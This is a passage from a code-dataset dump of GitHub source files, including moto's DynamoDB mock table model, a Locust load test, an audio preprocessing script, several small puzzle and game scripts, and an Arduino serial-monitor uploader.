self.__nonzero__()\n\n @property\n def has_range_key(self) -> bool:\n return self.range_key_attr is not None\n\n def get_item(\n self,\n hash_key: DynamoType,\n range_key: Optional[DynamoType] = None,\n projection_expression: Optional[List[List[str]]] = None,\n ) -> Optional[Item]:\n if self.has_range_key and not range_key:\n raise MockValidationException(\n \"Table has a range key, but no range key was passed into get_item\"\n )\n try:\n result = None\n\n if range_key:\n result = self.items[hash_key][range_key]\n elif hash_key in self.items:\n result = self.items[hash_key]\n\n if projection_expression and result:\n result = result.project(projection_expression)\n\n return result\n except KeyError:\n return None\n\n def delete_item(\n self, hash_key: DynamoType, range_key: Optional[DynamoType]\n ) -> Optional[Item]:\n try:\n if range_key:\n item = self.items[hash_key].pop(range_key)\n else:\n item = self.items.pop(hash_key)\n\n if self.stream_shard is not None:\n self.stream_shard.add(item, None)\n\n return item\n except KeyError:\n return None\n\n def query(\n self,\n hash_key: DynamoType,\n range_comparison: Optional[str],\n range_objs: List[DynamoType],\n limit: int,\n exclusive_start_key: Dict[str, Any],\n scan_index_forward: bool,\n projection_expressions: Optional[List[List[str]]],\n index_name: Optional[str] = None,\n filter_expression: Any = None,\n **filter_kwargs: Any,\n ) -> Tuple[List[Item], int, Optional[Dict[str, Any]]]:\n results = []\n\n if index_name:\n all_indexes = self.all_indexes()\n indexes_by_name = dict((i.name, i) for i in all_indexes)\n if index_name not in indexes_by_name:\n all_names = \", \".join(indexes_by_name.keys())\n raise MockValidationException(\n f\"Invalid index: {index_name} for table: {self.name}. Available indexes are: {all_names}\"\n )\n\n index = indexes_by_name[index_name]\n try:\n index_hash_key = [\n key for key in index.schema if key[\"KeyType\"] == \"HASH\"\n ][0]\n except IndexError:\n raise MockValidationException(\n f\"Missing Hash Key. KeySchema: {index.name}\"\n )\n\n try:\n index_range_key = [\n key for key in index.schema if key[\"KeyType\"] == \"RANGE\"\n ][0]\n except IndexError:\n index_range_key = None\n\n possible_results = []\n for item in self.all_items():\n if not isinstance(item, Item):\n continue\n item_hash_key = item.attrs.get(index_hash_key[\"AttributeName\"])\n if index_range_key is None:\n if item_hash_key and item_hash_key == hash_key:\n possible_results.append(item)\n else:\n item_range_key = item.attrs.get(index_range_key[\"AttributeName\"])\n if item_hash_key and item_hash_key == hash_key and item_range_key:\n possible_results.append(item)\n else:\n possible_results = [\n item\n for item in list(self.all_items())\n if isinstance(item, Item) and item.hash_key == hash_key\n ]\n\n if range_comparison:\n if index_name and not index_range_key:\n raise ValueError(\n \"Range Key comparison but no range key found for index: %s\"\n % index_name\n )\n\n elif index_name:\n for result in possible_results:\n if result.attrs.get(index_range_key[\"AttributeName\"]).compare( # type: ignore\n range_comparison, range_objs\n ):\n results.append(result)\n else:\n for result in possible_results:\n if result.range_key.compare(range_comparison, range_objs): # type: ignore[union-attr]\n results.append(result)\n\n if filter_kwargs:\n for result in possible_results:\n for field, value in filter_kwargs.items():\n dynamo_types = [\n DynamoType(ele) for ele in value[\"AttributeValueList\"]\n ]\n if result.attrs.get(field).compare( # type: ignore[union-attr]\n value[\"ComparisonOperator\"], dynamo_types\n ):\n results.append(result)\n\n if not range_comparison and not filter_kwargs:\n # If we're not filtering on range key or on an index return all\n # values\n results = possible_results\n\n if index_name:\n if index_range_key:\n # Convert to float if necessary to ensure proper ordering\n def conv(x: DynamoType) -> Any:\n return float(x.value) if x.type == \"N\" else x.value\n\n results.sort(\n key=lambda item: conv(item.attrs[index_range_key[\"AttributeName\"]]) # type: ignore\n if item.attrs.get(index_range_key[\"AttributeName\"]) # type: ignore\n else None\n )\n else:\n results.sort(key=lambda item: item.range_key) # type: ignore\n\n if scan_index_forward is False:\n results.reverse()\n\n scanned_count = len(list(self.all_items()))\n\n results = copy.deepcopy(results)\n if index_name:\n index = self.get_index(index_name)\n results = [index.project(r) for r in results]\n\n results, last_evaluated_key = self._trim_results(\n results, limit, exclusive_start_key, scanned_index=index_name\n )\n\n if filter_expression is not None:\n results = [item for item in results if filter_expression.expr(item)]\n\n if projection_expressions:\n results = [r.project(projection_expressions) for r in results]\n\n return results, scanned_count, last_evaluated_key\n\n def all_items(self) -> Iterator[Item]:\n for hash_set in self.items.values():\n if self.range_key_attr:\n for item in hash_set.values():\n yield item\n else:\n yield hash_set # type: ignore\n\n def all_indexes(self) -> Sequence[SecondaryIndex]:\n return (self.global_indexes or []) + (self.indexes or []) # type: ignore\n\n def get_index(self, index_name: str, error_if_not: bool = False) -> SecondaryIndex:\n all_indexes = self.all_indexes()\n indexes_by_name = dict((i.name, i) for i in all_indexes)\n if error_if_not and index_name not in indexes_by_name:\n raise InvalidIndexNameError(\n f\"The table does not have the specified index: {index_name}\"\n )\n return indexes_by_name[index_name]\n\n def has_idx_items(self, index_name: str) -> Iterator[Item]:\n idx = self.get_index(index_name)\n idx_col_set = set([i[\"AttributeName\"] for i in idx.schema])\n\n for hash_set in self.items.values():\n if self.range_key_attr:\n for item in hash_set.values():\n if idx_col_set.issubset(set(item.attrs)):\n yield item\n else:\n if idx_col_set.issubset(set(hash_set.attrs)): # type: ignore\n yield hash_set # type: ignore\n\n def scan(\n self,\n filters: Dict[str, Any],\n limit: int,\n exclusive_start_key: Dict[str, Any],\n filter_expression: Any = None,\n index_name: Optional[str] = None,\n projection_expression: Optional[List[List[str]]] = None,\n ) -> Tuple[List[Item], int, Optional[Dict[str, Any]]]:\n results = []\n scanned_count = 0\n\n if index_name:\n self.get_index(index_name, error_if_not=True)\n items = self.has_idx_items(index_name)\n else:\n items = self.all_items()\n\n for item in items:\n scanned_count += 1\n passes_all_conditions = True\n for (\n attribute_name,\n (comparison_operator, comparison_objs),\n ) in filters.items():\n attribute = item.attrs.get(attribute_name)\n\n if attribute:\n # Attribute found\n if not attribute.compare(comparison_operator, comparison_objs):\n passes_all_conditions = False\n break\n elif comparison_operator == \"NULL\":\n # Comparison is NULL and we don't have the attribute\n continue\n else:\n # No attribute found and comparison is no NULL. This item\n # fails\n passes_all_conditions = False\n break\n\n if passes_all_conditions:\n results.append(item)\n\n results = copy.deepcopy(results)\n if index_name:\n index = self.get_index(index_name)\n results = [index.project(r) for r in results]\n\n results, last_evaluated_key = self._trim_results(\n results, limit, exclusive_start_key, scanned_index=index_name\n )\n\n if filter_expression is not None:\n results = [item for item in results if filter_expression.expr(item)]\n\n if projection_expression:\n results = [r.project(projection_expression) for r in results]\n\n return results, scanned_count, last_evaluated_key\n\n def _trim_results(\n self,\n results: List[Item],\n limit: int,\n exclusive_start_key: Optional[Dict[str, Any]],\n scanned_index: Optional[str] = None,\n ) -> Tuple[List[Item], Optional[Dict[str, Any]]]:\n if exclusive_start_key is not None:\n hash_key = DynamoType(exclusive_start_key.get(self.hash_key_attr)) # type: ignore[arg-type]\n range_key = (\n exclusive_start_key.get(self.range_key_attr)\n if self.range_key_attr\n else None\n )\n if range_key is not None:\n range_key = DynamoType(range_key)\n for i in range(len(results)):\n if (\n results[i].hash_key == hash_key\n and results[i].range_key == range_key\n ):\n results = results[i + 1 :]\n break\n\n last_evaluated_key = None\n size_limit = 1000000 # DynamoDB has a 1MB size limit\n item_size = sum(res.size() for res in results)\n if item_size > size_limit:\n item_size = idx = 0\n while item_size + results[idx].size() < size_limit:\n item_size += results[idx].size()\n idx += 1\n limit = min(limit, idx) if limit else idx\n if limit and len(results) > limit:\n results = results[:limit]\n last_evaluated_key = {self.hash_key_attr: results[-1].hash_key}\n if self.range_key_attr is not None and results[-1].range_key is not None:\n last_evaluated_key[self.range_key_attr] = results[-1].range_key\n\n if scanned_index:\n index = self.get_index(scanned_index)\n idx_col_list = [i[\"AttributeName\"] for i in index.schema]\n for col in idx_col_list:\n last_evaluated_key[col] = results[-1].attrs[col]\n\n return results, last_evaluated_key\n\n def delete(self, account_id: str, region_name: str) -> None:\n from moto.dynamodb.models import dynamodb_backends\n\n dynamodb_backends[account_id][region_name].delete_table(self.name)\n\n\nclass Backup:\n def __init__(\n self,\n account_id: str,\n region_name: str,\n name: str,\n table: Table,\n status: Optional[str] = None,\n type_: Optional[str] = None,\n ):\n self.region_name = region_name\n self.account_id = account_id\n self.name = name\n self.table = copy.deepcopy(table)\n self.status = status or \"AVAILABLE\"\n self.type = type_ or \"USER\"\n self.creation_date_time = utcnow()\n self.identifier = self._make_identifier()\n\n def _make_identifier(self) -> str:\n timestamp = int(unix_time_millis(self.creation_date_time))\n timestamp_padded = str(\"0\" + str(timestamp))[-16:16]\n guid = str(mock_random.uuid4())\n guid_shortened = guid[:8]\n return f\"{timestamp_padded}-{guid_shortened}\"\n\n @property\n def arn(self) -> str:\n return f\"arn:aws:dynamodb:{self.region_name}:{self.account_id}:table/{self.table.name}/backup/{self.identifier}\"\n\n @property\n def details(self) -> Dict[str, Any]: # type: ignore[misc]\n return {\n \"BackupArn\": self.arn,\n \"BackupName\": self.name,\n \"BackupSizeBytes\": 123,\n \"BackupStatus\": self.status,\n \"BackupType\": self.type,\n \"BackupCreationDateTime\": unix_time(self.creation_date_time),\n }\n\n @property\n def summary(self) -> Dict[str, Any]: # type: ignore[misc]\n return {\n \"TableName\": self.table.name,\n # 'TableId': 'string',\n \"TableArn\": self.table.table_arn,\n \"BackupArn\": self.arn,\n \"BackupName\": self.name,\n \"BackupCreationDateTime\": unix_time(self.creation_date_time),\n # 'BackupExpiryDateTime': datetime(2015, 1, 1),\n \"BackupStatus\": self.status,\n \"BackupType\": self.type,\n \"BackupSizeBytes\": 123,\n }\n\n @property\n def description(self) -> Dict[str, Any]: # type: ignore[misc]\n source_table_details = self.table.describe()[\"TableDescription\"]\n source_table_details[\"TableCreationDateTime\"] = source_table_details[\n \"CreationDateTime\"\n ]\n description = {\n \"BackupDetails\": self.details,\n \"SourceTableDetails\": source_table_details,\n }\n return description\n\n\nclass RestoredTable(Table):\n def __init__(self, name: str, account_id: str, region: str, backup: \"Backup\"):\n params = self._parse_params_from_backup(backup)\n super().__init__(name, account_id=account_id, region=region, **params)\n self.indexes = copy.deepcopy(backup.table.indexes)\n self.global_indexes = copy.deepcopy(backup.table.global_indexes)\n self.items = copy.deepcopy(backup.table.items)\n # Restore Attrs\n self.source_backup_arn = backup.arn\n self.source_table_arn = backup.table.table_arn\n self.restore_date_time = self.created_at\n\n def _parse_params_from_backup(self, backup: \"Backup\") -> Dict[str, Any]:\n return {\n \"schema\": copy.deepcopy(backup.table.schema),\n \"attr\": copy.deepcopy(backup.table.attr),\n \"throughput\": copy.deepcopy(backup.table.throughput),\n }\n\n def describe(self, base_key: str = \"TableDescription\") -> Dict[str, Any]:\n result = super().describe(base_key=base_key)\n result[base_key][\"RestoreSummary\"] = {\n \"SourceBackupArn\": self.source_backup_arn,\n \"SourceTableArn\": self.source_table_arn,\n \"RestoreDateTime\": unix_time(self.restore_date_time),\n \"RestoreInProgress\": False,\n }\n return result\n\n\nclass RestoredPITTable(Table):\n def __init__(self, name: str, account_id: str, region: str, source: Table):\n params = self._parse_params_from_table(source)\n super().__init__(name, account_id=account_id, region=region, **params)\n self.indexes = copy.deepcopy(source.indexes)\n self.global_indexes = copy.deepcopy(source.global_indexes)\n self.items = copy.deepcopy(source.items)\n # Restore Attrs\n self.source_table_arn = source.table_arn\n self.restore_date_time = self.created_at\n\n def _parse_params_from_table(self, table: Table) -> Dict[str, Any]:\n return {\n \"schema\": copy.deepcopy(table.schema),\n \"attr\": copy.deepcopy(table.attr),\n \"throughput\": copy.deepcopy(table.throughput),\n }\n\n def describe(self, base_key: str = \"TableDescription\") -> Dict[str, Any]:\n result = super().describe(base_key=base_key)\n result[base_key][\"RestoreSummary\"] = {\n \"SourceTableArn\": self.source_table_arn,\n \"RestoreDateTime\": unix_time(self.restore_date_time),\n \"RestoreInProgress\": False,\n }\n return result\n","repo_name":"getmoto/moto","sub_path":"moto/dynamodb/models/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":39879,"program_lang":"python","lang":"en","doc_type":"code","stars":7174,"dataset":"github-code","pt":"48"} +{"seq_id":"6860991506","text":"import json\nimport logging\nimport random\nimport string\nfrom typing import List\n\nimport common\nfrom locust import HttpUser, events, task\n\nDEFAULT_TARGET_HOST = \"http://localhost:26657\"\nDEFAULT_REST_HOST = \"http://localhost:26640\"\nDEFAULT_TRUSTEE_ACCOUNT_NAME = \"jack\"\n\n\nwrite_hosts = []\nread_hosts = []\ntrustee_account_names = []\n\nlogger = logging.getLogger(\"dclbench\")\n\n\n@events.init_command_line_parser.add_listener\ndef init_paraser(parser):\n # Set `include_in_web_ui` to False if you want to hide from the web UI\n parser.add_argument(\n \"--write-hosts\",\n metavar=\"WRITE_HOSTS\",\n include_in_web_ui=True,\n default=DEFAULT_TARGET_HOST,\n help=\"Comma separated list of DCL hosts to target\",\n )\n parser.add_argument(\n \"--read-hosts\",\n metavar=\"READ_HOSTS\",\n include_in_web_ui=True,\n default=DEFAULT_REST_HOST,\n help=\"Comma separated list of DCL REST hosts to target\",\n )\n parser.add_argument(\n \"--trustee-account-names\",\n metavar=\"TRUSTEE_ACCOUNT_NAMES\",\n include_in_web_ui=True,\n default=DEFAULT_TRUSTEE_ACCOUNT_NAME,\n help=\"Comma seperated list of DCL TRUSTEE ACCOUNT NAMES\",\n )\n\n\n@events.test_start.add_listener\ndef _(environment, **kw):\n logger.info(f\"dcl-hosts: {environment.parsed_options.write_hosts}\")\n\n if environment.parsed_options.write_hosts:\n write_hosts.extend(environment.parsed_options.write_hosts.split(\",\"))\n\n if environment.parsed_options.read_hosts:\n read_hosts.extend(environment.parsed_options.read_hosts.split(\",\"))\n\n if environment.parsed_options.trustee_account_names:\n trustee_account_names.extend(\n environment.parsed_options.trustee_account_names.split(\",\")\n )\n\n\nclass WriteModelLoadTest(HttpUser):\n host = \"\"\n weight = 5\n\n vendor_account_name = common.generate_random_name()\n vendor_id = common.generate_random_number()\n vendor_account_number = int\n vendor_account_address = string\n\n model_id = 1\n model_sequence = 0\n\n @task\n def add_model(self):\n payload = {\n \"method\": \"broadcast_tx_sync\",\n \"params\": {\n \"tx\": common.generate_txns(\n self.model_id,\n self.model_sequence,\n self.vendor_account_address,\n self.vendor_id,\n self.vendor_account_number,\n )\n },\n \"id\": 1,\n }\n\n with self.client.post(\n f\"{self.host}/\",\n json.dumps(payload),\n name=\"write transactions\",\n catch_response=True,\n ) as response:\n payload = json.loads(response.text)\n\n if \"error\" in payload:\n response.failure(json.dumps(payload[\"error\"]))\n elif \"result\" in payload:\n if payload[\"result\"].get(\"code\") != 0:\n error = dict(payload[\"result\"])\n # to keep failure stat condensed\n error.pop(\"hash\", None)\n response.failure(json.dumps(error))\n else:\n response.failure(\"malformed txn: {response.text}\")\n\n self.model_sequence += 1\n self.model_id += 1\n\n def on_start(self):\n # Get RPC endpoint\n if write_hosts:\n self.host = random.choice(write_hosts)\n else:\n self.host = DEFAULT_TARGET_HOST\n\n common.create_vendor_account(\n self.vendor_account_name, self.vendor_id, trustee_account_names[0]\n )\n\n self.vendor_account_address = common.keys_show_address(self.vendor_account_name)\n self.vendor_account_number = common.get_account_number(\n self.vendor_account_address\n )\n\n\nclass ReadModelLoadTest(HttpUser):\n rest_host = \"\"\n weight = 1\n models: List[int] = []\n\n def get_model_vid(self, index):\n return self.models[index][\"vid\"]\n\n def get_model_pid(self, index):\n return self.models[index][\"pid\"]\n\n def generate_get_model_url(self, vid, pid):\n # Gererate random number for get random model\n url = self.rest_host + \"/dcl/model/models/\" + str(vid) + \"/\" + str(pid)\n return url\n\n @task\n def get_model(self):\n global READ_REQUEST_COUNT\n\n if len(self.models) > 0:\n index = random.randint(0, len(self.models) - 1)\n\n # Get vid and pid model\n vid = self.get_model_vid(index)\n pid = self.get_model_pid(index)\n\n self.client.get(\n self.generate_get_model_url(vid, pid), name=\"get random model\"\n )\n elif len(self.models) == 0:\n logger.info(\"[ERROR! NOT FOUND MODELS!]\")\n\n def on_start(self):\n # Get REST endpoint\n if read_hosts:\n self.rest_host = random.choice(read_hosts)\n else:\n self.rest_host = DEFAULT_REST_HOST\n\n # Get models list only once\n if len(self.models) == 0:\n # Get up to 1000 models\n response = self.client.get(\n self.rest_host + \"/dcl/model/models?pagination.limit=1000\",\n name=\"get all models\",\n )\n json_var = response.json()\n\n for item in json_var[\"model\"]:\n self.models.append(item)\n","repo_name":"zigbee-alliance/distributed-compliance-ledger","sub_path":"bench/locustfile.py","file_name":"locustfile.py","file_ext":"py","file_size_in_byte":5337,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"48"} +{"seq_id":"11259504571","text":"import os\nimport yaml\nimport numpy as np\nimport librosa\nimport soundfile as sf\n\nfrom handle_data.data_tools import convert_audio_to_numpy\nfrom handle_data.data_tools import mix_voice_noise\nfrom handle_data.data_tools import convert_np_audio_to_spectrogram\n\nwith open(\"config/ConfigTrainingUNet.yaml\") as f:\n config = yaml.safe_load(f)\n config_data = config['data']\n\n\ndef main():\n noise_dir = config_data['noise_dir']\n voice_dir = config_data['voice_dir']\n list_noise_files = os.listdir(config_data['noise_dir'])\n list_voice_files = os.listdir(config_data['voice_dir'])\n\n sample_rate = config_data['sample_rate']\n frame_length = config_data['frame_length']\n frame_shift_noise = config_data['frame_shift_noise']\n frame_shift = config_data['frame_shift']\n min_duration = config_data['min_duration']\n num_of_samples = config_data[\"num_of_samples\"]\n\n noise = convert_audio_to_numpy(\n noise_dir, list_noise_files, sample_rate, frame_length, frame_shift_noise, min_duration)\n voice = convert_audio_to_numpy(\n voice_dir, list_voice_files, sample_rate, frame_length, frame_shift, min_duration)\n\n # Mix clean voice vs noise\n prod_voice, prod_noise, prod_noise_voice = mix_voice_noise(\n voice, noise, num_of_samples, frame_length\n )\n\n n_fft = config_data[\"n_fft\"]\n frame_shift_fft = config_data[\"frame_shift_fft\"]\n path_save_sound = config_data[\"path_save_sound\"]\n\n if config_data[\"save_sound\"]:\n noisy_voice_long = prod_noise_voice.reshape(1, num_of_samples * frame_length)\n sf.write(path_save_sound + 'noisy_voice_long.wav', noisy_voice_long[0, :], sample_rate)\n voice_long = prod_voice.reshape(1, num_of_samples * frame_length)\n sf.write(path_save_sound + 'voice_long.wav', voice_long[0, :], sample_rate)\n noise_long = prod_noise.reshape(1, num_of_samples * frame_length)\n sf.write(path_save_sound + 'noise_long.wav', noise_long[0, :], sample_rate)\n\n dim_square_spec = int(n_fft / 2) + 1\n m_amp_db_voice, m_phase_voice = convert_np_audio_to_spectrogram(\n prod_voice, dim_square_spec, n_fft, frame_shift_fft)\n m_amp_db_noise, m_phase_noise = convert_np_audio_to_spectrogram(\n prod_voice, dim_square_spec, n_fft, frame_shift_fft)\n m_amp_db_voice_noise, m_phase_voice_noise = convert_np_audio_to_spectrogram(\n prod_noise_voice, dim_square_spec, n_fft, frame_shift_fft)\n\n np.save(os.path.join(config_data[\"path_save_time_serie\"], \"voice_timeserie\"), prod_voice)\n np.save(os.path.join(config_data[\"path_save_time_serie\"], \"noise_timeserie\"), prod_noise)\n np.save(os.path.join(config_data[\"path_save_time_serie\"], \"voice_noise_timeserie\"), prod_noise_voice)\n\n np.save(os.path.join(config_data[\"path_save_spectrogram\"], \"voice_amp_db\"), m_amp_db_voice)\n np.save(os.path.join(config_data[\"path_save_spectrogram\"], \"noise_amp_db\"), m_amp_db_noise)\n np.save(os.path.join(config_data[\"path_save_spectrogram\"], \"voice_noise_amp_db\"), m_amp_db_voice_noise)\n\n np.save(os.path.join(config_data[\"path_save_spectrogram\"], \"voice_pha_db\"), m_phase_voice)\n np.save(os.path.join(config_data[\"path_save_spectrogram\"], \"noise_pha_db\"), m_phase_noise)\n np.save(os.path.join(config_data[\"path_save_spectrogram\"], \"voice_noise_pha_db\"), m_phase_voice_noise)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"PhongNTDo/Speech-Enhancement-UNet","sub_path":"prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24148728427","text":"import pygame\n\nfrom src.ui.Window import Window\nfrom src.ui.utils.Margin import Margin\n\nclass Position:\n TOP = 0\n LEFT = 1\n RIGHT = 2\n BOTTOM = 3\n TOP_LEFT = 4\n TOP_RIGHT = 5\n BOTTOM_LEFT = 6\n BOTTOM_RIGHT = 7\n CENTER = 8\n\n @classmethod\n def getRect(cls, position, size, margin=None, relative=None):\n rect = None\n if not margin:\n margin = Margin(0, 0, 0, 0)\n if relative:\n if (position == cls.BOTTOM):\n rect = pygame.Rect( relative.getPosition().x + relative.getSize().width // 2 - size.width // 2 - margin.right + margin.left,\n relative.getPosition().y + relative.getSize().height + margin.top - margin.bottom, \n size.width, size.height) \n else:\n if (position == cls.CENTER):\n rect = pygame.Rect( Window.getSize().width // 2 - size.width // 2 - margin.right + margin.left,\n Window.getSize().height // 2 - size.height // 2 + margin.top - margin.bottom, \n size.width, size.height) \n if (position == cls.BOTTOM):\n rect = pygame.Rect( Window.getSize().width // 2 - size.width // 2 - margin.right + margin.left,\n Window.getSize().height - size.height + margin.top - margin.bottom, \n size.width, size.height) \n return rect","repo_name":"JordanFist/perlin","sub_path":"game/src/ui/utils/Position.py","file_name":"Position.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36150900340","text":"import serial\nimport time\nimport threading\nimport csv\nimport json\nfrom datetime import datetime\nimport requests\nclass SerialMonitor(object):\n def __init__(self, port, threshold, path):\n self._port = port\n self._baudrate=9600\n self._conn = None\n self.path =path\n self.queue={'Values':[],\n 'Timestamp':[]}\n self.threshold=threshold\n self.buf = bytearray()\n self.host = '10.100.79.191:8000'\n\n def iniciaConexion(self):\n try:\n self._conn = serial.Serial(self._port, self._baudrate)\n return self._conn\n except:\n print(\"Fallo al leer el puerto %s \" % str(self._port))\n\n def cerrarConexion(self):\n self._conn.close()\n\n def monitorListen(self):\n while True:\n muestra_to_csv=0\n val =self.readline()\n #print(val.decode())\n val =val.decode()[:-2]\n if int(val) > self.threshold:\n self.send_alert()\n while muestra_to_csv <1000:\n val_to_save =self.readline().decode()[:-2]\n self.queue['Values'].append(int(val_to_save))\n self.queue['Timestamp'].append(time.time())\n print(val_to_save)\n \n muestra_to_csv+=1\n self.send_json_to_server()\n #print(self.queue)\n try:\n write_csv_thread=threading.Thread(target=self.saveToJson())\n write_csv_thread.start()\n write_csv_thread.join()\n except ValueError as error:\n print(error)\n\n def saveToCsv(self):\n try:\n for element in self.queue:\n with open(self.path+\"test_data.csv\",\"a\") as f:\n writer = csv.writer(f,delimiter=\",\")\n writer.writerow([element['Timestamp'],element['Values']])\n self.queue.clear()\n except ValueError as error:\n print(error)\n\n def readline(self):\n i = self.buf.find(b\"\\n\")\n if i >= 0:\n r = self.buf[:i+1]\n self.buf = self.buf[i+1:]\n return r\n while True:\n i = max(1, min(2048, self._conn.in_waiting))\n data = self._conn.read(i)\n i = data.find(b\"\\n\")\n if i >= 0:\n r = self.buf + data[:i+1]\n self.buf[0:] = data[i+1:]\n return r\n else:\n self.buf.extend(data)\n\n def saveToJson(self):\n with open(self.path+'medicion_test.json', 'w') as fp:\n json.dump(self.queue,fp)\n self.queue['Values'].clear()\n self.queue['Timestamp'].clear()\n\n\n def send_json_to_server(self):\n now =datetime.now()\n timestamp = int(datetime.timestamp(now))\n with open(self.path+'medicion_test.json', 'r') as f:\n r = requests.post('http://%s/uploadData/'%self.host, files={'file': f},params={\"api_key\":\"$2y$10$tiDpCUHGfl5/.AUt/uxotuOQp5gp3sebY6giL1SZzNF88BuPTw1ZO\",\"ts\":timestamp})\n print(r)\n\n def send_alert(self):\n now =datetime.now()\n timestamp = int(datetime.timestamp(now))\n r = requests.post('http://%s/notify/'%self.host,params={\"api_key\":\"$2y$10$tiDpCUHGfl5/.AUt/uxotuOQp5gp3sebY6giL1SZzNF88BuPTw1ZO\",\"ts\":timestamp})\ndef main():\n s = SerialMonitor(port='/dev/cu.usbmodem14101', threshold=200, path='/Users/macbook/Documents/data_sismic/')\n s.iniciaConexion()\n s.monitorListen()\n\nif __name__ == '__main__':\n main()\n","repo_name":"IS2020/Monitor","sub_path":"Monitor.py","file_name":"Monitor.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73657450387","text":"# LEVEL 19\n# http://www.pythonchallenge.com/pc/hex/bin.html\n\nimport base64\n\n\nwith open('data/level_19.txt', 'rb') as f:\n content = f.read()\n decoded = base64.decodebytes(content)\n with open('data/indian_little.wav', 'wb') as wav_l:\n with open('data/indian_big.wav', 'wb') as wav_b:\n data_start = 45\n # write header as is\n wav_l.write(decoded[:45])\n wav_b.write(decoded[:45])\n # change endianness for the rest of 16 bit words\n while True:\n if data_start + 2 <= len(decoded):\n word_b = decoded[data_start:data_start + 2]\n word_i_b = int.from_bytes(word_b, 'big')\n word_l = word_i_b.to_bytes(2, 'little')\n wav_l.write(word_l)\n wav_b.write(word_b)\n else:\n break\n data_start += 2\n","repo_name":"diegorodriguezv/pythonchallenge","sub_path":"level_19.py","file_name":"level_19.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29871184169","text":"class PrioritizationRules:\n ASCII_OFFSET_LOWER = 97\n ASCII_OFFSET_UPPER = 65\n GAME_OFFSET_UPPER = 27\n GAME_OFFSET_LOWER = 1\n\n def priority_of_set(self, letters: set[str]) -> int:\n score = 0\n for item in letters:\n if item.isupper():\n score += ord(item) - self.ASCII_OFFSET_UPPER + self.GAME_OFFSET_UPPER\n if item.islower():\n score += ord(item) - self.ASCII_OFFSET_LOWER + self.GAME_OFFSET_LOWER\n return score\n","repo_name":"OratorX/advent-of-code-2022","sub_path":"days/03_rucksack_reorganization/model/prioritization_rules.py","file_name":"prioritization_rules.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"44998366824","text":"import turtle\nfrom turtle import Turtle\nimport pandas as pd\nscreen = turtle.Screen()\nprompt_window = turtle.Screen()\n\n\nimage = \"./blank_states_img.gif\"\nscreen.addshape(image)\nscreen.title(\"U.S. States Quiz Game\")\n\nmap_turtle = Turtle()\nmap_turtle.shape(image)\n\n# Turtle instance to write states' name on map\nstate_turtle = Turtle()\nstate_turtle.hideturtle()\nstate_turtle.penup()\n\nFONT = (\"Courier\", 11, \"bold\")\nALIGNMENT= \"center\"\n\n# Code needed to obtain the coordinates of each state using your mouse\n# def get_mouse_click_coor(x,y):\n# print(x, y)\n# turtle.onscreenclick(get_mouse_click_coor())\n\ndata = pd.read_csv(\"50_states.csv\")\nprint(data)\n\n\nstates_list = data[\"state\"].to_list()\nprint(states_list)\n\ndef state_in_list(answer):\n if answer in states_list:\n return True\ndef calc_missing_states():\n global missing_states\n missing_states = [state for state in states_list if state not in correct_answers_list]\n\ndef write_to_map(state):\n state_coordinates = data[data[\"state\"] == state]\n state_x = int(state_coordinates[\"x\"])\n state_y = int(state_coordinates[\"y\"])\n state_turtle.goto(state_x, state_y)\n state_turtle.write(f\"{state}\", align=ALIGNMENT, font=FONT)\n\ncorrect_answers_list = []\nmissing_states = []\n\nwhile len(correct_answers_list) < 50:\n answer_state = prompt_window.textinput(title=f\"{len(correct_answers_list)}/50 Guess the State\",\n prompt=\"What is another state's name?\"\n )\n # Convert answer to Title Case\n answer_state = answer_state.title().strip()\n\n # States that were not recalled are saved to a csv file for review\n if answer_state == \"Exit\":\n calc_missing_states()\n new_data = pd.DataFrame(missing_states)\n new_data.to_csv(\"states_to_learn.csv\")\n break\n\n # Plots the remainder states that have not been input on the prompt window\n if answer_state == \"Solution\":\n calc_missing_states()\n print(missing_states)\n for state in missing_states:\n state_turtle.color(\"red\")\n write_to_map(state)\n\n # Correct answers are plotted to the map\n if state_in_list(answer_state):\n if answer_state not in correct_answers_list:\n correct_answers_list.append(answer_state)\n state_turtle.color(\"black\")\n write_to_map(answer_state)\n\n\n\n\n","repo_name":"efrenmo/Name-50-U.S.-States-Quiz","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15401862551","text":"import pygame\nfrom pygame.locals import *\nfrom utils import load_image, mtd_vector\n\nclass Dude(pygame.sprite.Sprite):\n def __init__(self, screen_dims):\n pygame.sprite.Sprite.__init__(self)\n self.default_image, self.rect = load_image(\"res/dude_base.png\", -1)\n self.left_shoot_image, _ = load_image(\"res/dude_shoot_left.png\", -1)\n self.right_shoot_image, _ = load_image(\"res/dude_shoot_right.png\", -1)\n self.image = self.default_image\n self.max_v = 8\n self.velocity = [0, 0]\n self.friction = 0.5\n self.gravity = 0.3\n self.jump_power = -8\n self.shoot_dir = None\n self.shot_interval = 8\n self.shoot_count = 0\n self.grounded = False\n self.screen_dims = screen_dims\n\n def can_shoot(self):\n return self.shoot_count == 0 or self.shoot_count >= self.shot_interval\n\n def move(self, key):\n if key == K_a:\n self.velocity[0] = max(self.velocity[0] - 1, -self.max_v)\n elif key == K_d:\n self.velocity[0] = min(self.velocity[0] + 1, self.max_v)\n elif key == K_SPACE:\n self.jump()\n\n def is_shooting(self):\n return self.shoot_dir != None and self.can_shoot()\n\n def jump(self):\n if self.grounded:\n self.velocity[1] = self.jump_power\n # BLARHG COLLISION CRAP\n self.rect.bottom -= 1\n self.grounded = False\n\n def shoot(self, key):\n if not self.shoot_dir:\n self.shoot_count = 0\n if key == K_RIGHT:\n self.shoot_dir = \"right\"\n elif key == K_LEFT:\n self.shoot_dir = 